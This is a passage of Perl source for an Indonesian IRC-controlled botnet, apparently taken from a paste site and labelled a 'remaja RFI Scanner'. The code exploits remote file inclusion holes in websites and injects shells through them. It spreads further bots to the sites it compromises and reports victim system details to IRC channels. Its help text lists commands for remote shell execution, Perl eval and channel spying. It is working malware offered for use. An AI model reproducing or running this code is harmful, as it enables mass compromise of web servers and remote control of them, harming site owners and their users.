  1139.   while ( $h =~ m/<br>PERM: (.+?)<br>/g ) { $perm = $1; }
  1140.   while ( $h =~ m/<br>HDD: (.+?)<br>/g ) { $hdd = $1; }
  1141.   while ( $h =~ m/<br>DISFUNC: (.+?)<br>/g ) { $disfunc = $1; }
  1142.   push (@info,$safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
  1143.   return @info;
  1144. }
  1145.  
  1146. ##[ SAFEMODE INFO ]##
  1147. sub safemode {
  1148.   my ($type,$chan,$situs,$bug,$engine) = @_;
  1149.   my $safemode; my $vurn; my $sb;
  1150.   if ($type == 1) { $vurn = "http://".$situs.$bug; $sb = $vurn."5".$fx29sh."?"; }
  1151.   else { $vurn = $situs; $sb = $vurn; }
  1152.   my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc) = info_os($vurn);
  1153.   if ($safe =~ /OFF/) { $safemode = "4OFF"; } elsif ($safe =~ /ON/) { $safemode ="9ON"; } else { $safemode ="0-"; }
  1154.   if ($disfunc) { $disfunc = "9[Disfunc]0[7 $disfunc 0]"; } else { $disfunc = ""; }
  1155.   if ($perm =~/W/) { $perm = "12$perm"; } else { $perm = "4$perm"; }
  1156.   my $S1 = "9 [".$safemode."9]9[$os]0[ $sb 0]";
  1157.   my $S2 = "9 [Uname]0[ $uname ]9 [User]0[ $user / $uid ] 9[Server]0[ $server ] ";
  1158.   my $S3 = "9 [Dir]0[ $dir $perm 0] 9[HDD]0[0 $hdd 0] $disfunc ";
  1159.   if ($type == 1) {
  1160.     irc_msg($chanx,$S1); irc_msg($chanx,$S2); irc_msg($chanx,$S3);
  1161.     irc_msg($nickx,$S1); irc_msg($nickx,$S2); irc_msg($nickx,$S3);
  1162.     ##[ SPREADING ]##
  1163.     my ($q1,$q2,$q3,$q4) = (bukasitus($vurn.$spread."?"),bukasitus($vurn.$pbot."?"),bukasitus($vurn.$thebot."?"),bukasitus($vurn.$spread."?"));
  1164.     if ($q1 =~ /Writed to (.+?)!/) { irc_msg($chanx,"9 [Shell]0[ $1 0] "); }
  1165.     sleep($conf{sleepz});
  1166.     irc_msg($chan,$colz{3}.$engine.$colz{4}) if ($engine);
  1167.   }
  1168.   irc_msg($chan,$S1); irc_msg($chan,$S2); irc_msg($chan,$S3);
  1169. }
  1170.  
  1171. ##[ CEK SHELL ]##
  1172. sub cek_shell {
  1173.   my ($chan,$nick,$situs) = @_;
  1174.   my $q = bukasitus($situs.$zfxid."?");
  1175.   my ($q1,$q2,$q3,$q4) = (bukasitus($situs.$spread."?"),bukasitus($situs.$pbot."?"),bukasitus($situs.$spread."?"),bukasitus($situs.$thebot."?"));
  1176.  
  1177.   print $q;
  1178.   if ( $q =~ /ShiroHige/ ) { safemode(2,$chan,$situs,"",""); }
  1179.   else { irc_msg($chan,$nick.", targetnya ga vurnerable!"); }
  1180. }
  1181.  
  1182. ##[ NYETAK BOT BACOK ]##
  1183. sub gae_bota {
  1184.   my ($chan,$nick,$situs) = @_;
  1185.   my ($q1,$q2,$q3,$q4) = (bukasitus($situs.$pbot."?"),bukasitus($situs.$pbot."?"),bukasitus($situs.$pbot."?"),bukasitus($situs.$pbot."?"));
  1186.     irc_msg($chan,$colz{1}."9Proses Nyetak Bot BACOK loading...");
  1187. }
  1188. ##[ NYETAK BOT ENDEL ]##
  1189. sub gae_botb {
  1190.   my ($chan,$nick,$situs) = @_;
  1191.   my ($q1,$q2,$q3,$q4) = (bukasitus($situs.$cbot."?"),bukasitus($situs.$cbot."?"),bukasitus($situs.$cbot."?"),bukasitus($situs.$cbot."?"));
  1192.     irc_msg($chan,$colz{1}."13Proses Nyetak Bot ENDEL loading..");
  1193. }
  1194. ##[ NYETAK BOT PING ]##
  1195. sub gae_botc {
  1196.   my ($chan,$nick,$situs) = @_;
  1197.   my ($q1,$q2,$q3) = (bukasitus($situs.$thebot."?"),bukasitus($situs.$thebot."?"),bukasitus($situs.$thebot."?"));
  1198.     irc_msg($chan,$colz{1}."1Proses Nyetak Bot PING loading..");
  1199. }
  1200. ##[ NYETAK BOT MILDNET ]##
  1201. sub gae_botm {
  1202.   my ($chan,$nick,$situs) = @_;
  1203.   my ($q1,$q2,$q3,$q4) = (bukasitus($situs.$spread."?"),bukasitus($situs.$spread."?"),bukasitus($situs.$spread."?"),bukasitus($situs.$spread."?"));
  1204.     irc_msg($chan,$colz{1}."Prosesing Nyetak Bot Loading...");
  1205. }
  1206. ##[ ENTER LINK ]##
  1207. sub entered {
  1208.   my ($chan,$nick,$situs) = @_;
  1209.   my ($q1,$q2) = (bukasitus($situs."??"),bukasitus($situs."??"));
  1210.     irc_msg($chan,$colz{1}."ENTER LINK Please Wait...");
  1211. }
  1212. ##[ Gae BOT scan ]##
  1213. sub gaescan {
  1214.   my ($chan,$nick,$situs) = @_;
  1215.   my $q1 = (bukasitus($situs.$botscan."?"));
  1216.     irc_msg($chan,$colz{1}."12PROSES LOAD BOT scan Please Wait...");
  1217. }
  1218. ##[ Gae BOT EDAN ]##
  1219. sub gaeruwet {
  1220.   my ($chan,$nick,$situs) = @_;
  1221.   my $q1 = (bukasitus($situs.$botedan."?"));
  1222.     irc_msg($chan,$colz{1}."4PROSES LOAD BOT EDAN Please Wait...");
  1223. }
  1224. ##[ CEK RESPON ]##
  1225. sub cek_respon {
  1226.   my $chan = $_[0];
  1227.   my ($q1,$q2,$q3) = (bukasitus($zfxid),bukasitus($zfxid2),bukasitus($fx29sh));
  1228.   my ($rid,$rid2,$rsh,$stat);
  1229.   if ( $q1 =~ /ZFxID/ ) { $rid = "11nGaCenG"; $stat = 1; } else { $rid = "4impotent"; $stat = 0; }
  1230.   if ( $q2 =~ /ZFxID2/ ) { $rid2 = "11nGaCenG"; $stat += 1; } else { $rid2 = "4impotent"; $stat += 0; }
  1231.   if ( $q3 =~ /FaTaLisTiCz_Fx/ ) { $rsh = "0nGaCenG"; } else { $rsh = "4impotent"; }
  1232.   irc_msg($chan,$colz{1}."ZFxID: $rid 9ZFxID2: $rid2".$colz{2});
  1233.   return $stat;
  1234. }
  1235.  
  1236. ##[ CEK DORK ]##
  1237. sub cek_dork {
  1238.   my $dork = $_[0];
  1239.   foreach my $d (@baddorkz) { if ($dork =~ /$d/) { return 1; } }
  1240.   return 0;
  1241. }
  1242.  
  1243. ##[ CEK BUG ]##
  1244. sub cek_bug {
  1245.   my $bug = $_[0];
  1246.   foreach my $b (@badbugz) { if ($bug =~ /$b/) { return 1; } }
  1247.   return 0;
  1248. }
  1249.  
  1250. ##[ RUTIN PENANGANAN FILE ]##
  1251. sub f_hapus { my $file = $_[0]; system("rm $file"); }
  1252. sub f_simpan {
  1253.   my ($nf,$hc) = @_;
  1254.   my $fh;
  1255.   open( $fh, ">>", $nf );
  1256.   my @slink = lnk_sub($hc);
  1257.   foreach my $s (@slink) { print $fh "$s\n"; }
  1258.   close $fh;
  1259. }
  1260. sub f_simpan2 {
  1261.   my ($nf,$isi) = @_;
  1262.   my $fh;
  1263.   open( $fh, ">", $nf ); print $fh "$isi\n"; close $fh;
  1264. }
  1265. sub f_simpan2b {
  1266.   my ($nf,$isi) = @_;
  1267.   my $fh;
  1268.   open( $fh, ">>", $nf ); print $fh "$isi\n"; close $fh;
  1269. }
  1270.  
  1271. ##[ HTTP QUERY ]##
  1272. sub bukasitus {
  1273.   my $url = $_[0];
  1274.   my $request = HTTP::Request->new(GET => $url);
  1275.   my $ua  = LWP::UserAgent->new;
  1276.   $ua->timeout($conf{timeout});
  1277.   $ua->agent('Mozilla/5.0');
  1278.   my $response = $ua->request($request);
  1279.   if ($response->is_success) { return $response->content; }
  1280.   else { return $response->status_line; }
  1281. }
  1282. sub bukasitus2 {
  1283.   my $url = $_[0];
  1284.   my $ua  = LWP::UserAgent->new;
  1285.   $ua->timeout($conf{timeout});
  1286.   $ua->agent('Mozilla/5.0');
  1287.   my $response = $ua->get($url);
  1288.   if ($response->is_success) { return $response->content; }
  1289.   else { return $response->status_line; }
  1290. }
  1291. sub bukasitus3 {
  1292.   my $url = $_[0];
  1293.   my $host  = $url;
  1294.   my $query = $url;
  1295.   my $isi; my $kirim;
  1296.   my $uagent  = "Mozilla/5.0";
  1297.   $host  =~ s/http:\/\/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1298.   $query =~ s/$host//;
  1299.   eval {
  1300.     my $sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || return;
  1301.     $kirim = "GET ".$query." HTTP/1.1\r\nHost: ".$host."\r\nAccept: */*\r\nUser-Agent: ".$uagent."\r\n\r\n";
  1302.     print $sock $kirim;
  1303.     my @r = <$sock>;
  1304.     $isi = "@r";
  1305.     close($sock);
  1306.   };
  1307.   return $isi;
  1308. }
  1309.  
  1310.  
  1311. sub SiteDomains {
  1312.         my @dom = ("com","net","org","uk","kr","ru","it","fr","cz","ua","cn","ca","nl","hu","tv","li","au","de","biz","dk","th","com.ar");
  1313. }
  1314.  
  1315. ##[ ENCODE/DECODE ]##
  1316. sub htmltourl { my $str = $_[0]; $str =~ s/&amp;/&/g; return $str; }
  1317. sub urlen {
  1318.   my $str = $_[0];
  1319.   #$str =~ s/\+/\%2B/g;
  1320.   $str =~ s/ /\+/g;
  1321.   $str =~ s/@/\%40/g;
  1322.   $str =~ s/\//\%2F/g;
  1323.   $str =~ s/&/\%26/g;
  1324.   $str =~ s/\"/\%22/g;
  1325.   $str =~ s/,/\%2C/g;
  1326.   $str =~ s/\\/\%5C/g;
  1327.   $str =~ s/:/\%3A/g;
  1328.   $str =~ s/\[/\%5B/g;
  1329.   $str =~ s/\]/\%5D/g;
  1330.   $str =~ s/\?/\%3F/g;
  1331.   $str =~ s/\=/\%3D/g;
  1332.   $str =~ s/\|/\%7C/g;
  1333.   return $str;
  1334. }
  1335. sub urlde {
  1336.   my $str = $_[0];
  1337.   $str =~ s/\+/ /g;
  1338.   $str =~ s/\%2B/\+/g;
  1339.   $str =~ s/\%40/@/g;
  1340.   $str =~ s/\%2E/\./g;
  1341.   $str =~ s/\%2F/\//g;
  1342.   $str =~ s/\%26/&/g;
  1343.   $str =~ s/\%22/\"/g;
  1344.   $str =~ s/\%2C/,/g;
  1345.   $str =~ s/\%5C/\\/g;
  1346.   $str =~ s/\%3A/:/g;
  1347.   $str =~ s/\%5[B|b]/\[/g;
  1348.   $str =~ s/\%5[D|d]/\]/g;
  1349.   $str =~ s/\%3F/\?/g;
  1350.   $str =~ s/\%3D/\=/g;
  1351.   $str =~ s/\%7C/\|/g;
  1352.   return $str;
  1353. }
  1354. sub cryptz { return crypt($_[0],"shirohige"); }
  1355.  
  1356. ##[ TRIMMER CRLF ]##
  1357. sub trimrn {
  1358.   my $str = $_[0];
  1359.   if (!$str) { return ""; }
  1360.   $str =~ s/\r// if ($str);
  1361.   $str =~ s/\n//;
  1362.   return $str;
  1363. }
  1364.  
  1365. ##[ INFO BOT ]##
  1366. sub bot_info   {
  1367.   my $chan   = $_[0];
  1368.   my $hlogo  = "1 [X]9 ";
  1369.   my $uname  = `uname -a`;
  1370.   my $uid    = `id`;
  1371.   my $uptime = `uptime`;
  1372.   my @info   = (
  1373.   $hlogo."1scaner $versi Info ",
  1374.   $hlogo."scaner itel perl.69 820 9by 1kentanks (remaja TeaM) ",
  1375.   $hlogo."Uname:1 $uname ",
  1376.   $hlogo."Uid:1 $uid ",
  1377.   $hlogo."Uptime:1 $uptime ",
  1378.   );
  1379.   foreach my $m(@info) { irc_msg($chan,$m); }
  1380. }
  1381.  
  1382. ##[ HELP BOT ]##
  1383. sub bot_help {
  1384.   my ($chan,$level) = @_;
  1385.   my $hsepz = "1 [X] 1";
  1386.   my $hlogo = "1 [X] 9".$cmdpre;
  1387.   my @help; my $i;
  1388.   my @hlp1 = (
  1389.   $hsepz."remaja RFI Scanner By $versi Help ",
  1390.   $hlogo."scan|scan2 <bug> <dork> 12 []X[]15 Memulai scanner | scanner & Eksploit RFI ",
  1391.   $hlogo."respon 12 []X[]15 Cek Respon & Injector RFI ",
  1392.   $hlogo."milw0rm <keywords> 12 []X[]15 Mencari daftar bug di milw0rm ",
  1393.   $hlogo."cek <target> 12 []X[]15 Cek RFI shell ",
  1394.   $hlogo."info 12 []X[]15 Informasi bot ",
  1395.   $hlogo."urlen|urlde <teks> 12 []X[]15 Encoder/Decoder URL ",
  1396.   $hlogo."auth <password> 12 []X[]15 Login ke bot ",
  1397.   );
  1398.   my @hlp2 = (
  1399.   $hsepz."User Commands: ",
  1400.   $hlogo."joomla <bug> <dork> 15 Memulai scanner & Eksploit RFI Joomla ",
  1401.   $hlogo."hitung <jumlah> 15 Mengganti hitungan proses eksploitasi ",
  1402.   $hlogo."cryptz <password> 15 Membuat password yg terenkripsi ",
  1403.   $hlogo."join|part <channel> 15 Join/Part channel ",
  1404.   $hlogo."nick <nick> 15 Ganti nick bot ",
  1405.   $hlogo."logout 15 Logout dari bot ",
  1406.   );
  1407.   my @hlp3 = (
  1408.   $hsepz."Admin Commands: ",
  1409.   $hlogo."crespon[1/2]|cshell|cspread <url> 15 Mengganti respon/injector/spread/spread2 RFI ",
  1410.   $hlogo."rfipid <perintah> 15 Mengganti RFI PID ",
  1411.   $hlogo."spy 15 Menampilkan konfigurasi Spy ",
  1412.   $hlogo."spyhost <your chan> 15 Channel host buat spy ",
  1413.   $hlogo."spychan <chan> 15 Channel yang akan di spy ",
  1414.   $hlogo."spyword <regex> 15 Kata yg di akan spy ",
  1415.   $hlogo."raw <perintah> 15 Perintah Raw IRC ",
  1416.   $hlogo."cmd <perintah shell> 15 Mengeksekusi perintah di shell ",
  1417.   $hlogo."eval <kode perl> 15 Mengeksekusi kode perl ",
  1418.   $hlogo."quit 15 Quit dari IRC ",
  1419.   $hlogo."keluar 15 Quit dari IRC & Matikan semua proses Perl ",
  1420.   );
  1421.   my @hlp4 = (
  1422.   $hsepz."remaja RFI Scanner $versi Comand Rahasia ",
  1423.   $hlogo."autoscan <bug> <dork> 15 Memulai auto RFI scanner domains ",
  1424.   $hlogo."gonick <nick> 15 Mengubah nickbot ",
  1425.   $hlogo."gojoin <chan> 15Join ke chan ",
  1426.   $hlogo."gopart <chan> 15Part dr chan ",
  1427.   $hlogo."rfiproses <RFIPID> 15Mengubah proses PID Expoid ",
  1428.   $hlogo."explo <RFIEXplo> 15Mengubah proses Expoid Count ",
  1429.   $hlogo."cshell <url> 15Mengubah URL injektor ",
  1430.   $hlogo."goid(1|2) <url> 15Mengubah URL ID respon 1 & 2 ",
  1431.   $hlogo."csp <url> 15Mengubah URL Spread ",
  1432.   $hlogo."urlbot(1|2|3) <url> 15Mengubah URL Bot Spread 1,2&3  ",
  1433.   $hlogo."urlcetak(1|2) <url> 15Mengubah URL Mesin Cetak Spread 1&2  ",
  1434.   $hlogo."gae(bot|botendel|botping|botscan|botedan) <target> 15Proses Pencetakan Bot",
  1435.   $hlogo."reonline 15 Reconect Bot ",
  1436.   );
  1437.   if    ( $level == 1 ) { push(@help,@hlp1); }
  1438.   elsif ( $level == 2 ) { push(@help,@hlp2); }
  1439.   elsif ( $level == 3 ) { push(@help,@hlp3); }
  1440.   elsif ( $level == 4 ) { push(@help,@hlp4); }
  1441.   foreach my $m (@help) { irc_msg($chan,$m); $i++; if ( $i % $conf{linez} == 0 ) { sleep($conf{sleepz}); } }
  1442. }
  1443.  
  1444. ##[ CUSTOM MESSAGE ]##
  1445. sub msge { my ($chan,$se,$res) = @_; irc_msg($chan,"7 ".$se."15 ".$res." "); }
  1446. sub msgi { my ($chan,$judul,$info) = @_; irc_msg($chan,"1 [$judul]9 $info "); }
  1447. sub msgn { my ($chan,$se,$nxurl) = @_; irc_msg($chan,"1 ".$se." 15 ".$nxurl." "); }
  1448. sub msgr { my ($chan,$se,$totr,$clr) = @_; irc_msg($chan,"15-x9 ".$se." 1 ".$totr." 11 ".$clr." 15x-"); }
  1449. sub msgt { my ($chan,$se,$res) = @_; irc_msg($chan,"15-x9 ".$se." 1 ".$res." 15x-"); }
  1450. sub ntci { my ($chan,$judul,$info) = @_; irc_ntc($chan,"1 [$judul]9 $info "); }
  1451.  
  1452. ##[ PERINTAH RAW IRC ]##
  1453. sub irc_raw  { my $data = $_[0]; print $sock "$data\r\n"; }
  1454. sub irc_nick { my $nick = $_[0]; irc_raw("NICK $nick"); }
  1455. sub irc_user { my $ident = $_[0]; irc_raw("USER $ident localhost * :12 $versi"); }
  1456. sub irc_msg  { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :$psn"); }
  1457. sub irc_act  { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :ACTION $psn"); }
  1458. sub irc_ntc  { my ($to,$psn) = @_; irc_raw("NOTICE $to :$psn"); }
  1459. sub irc_join { my $to = $_[0]; irc_raw("JOIN $to"); }
  1460. sub irc_part { my $to = $_[0]; irc_raw("PART $to"); }
  1461. sub irc_quit { my $psn = $_[0]; irc_raw("QUIT :$psn"); exit; }
  1462.  
  1463. ##############################
  1464. ##[ remaja RFI SCANNER ]##
  1465. ##############################
RAW Paste Data
Top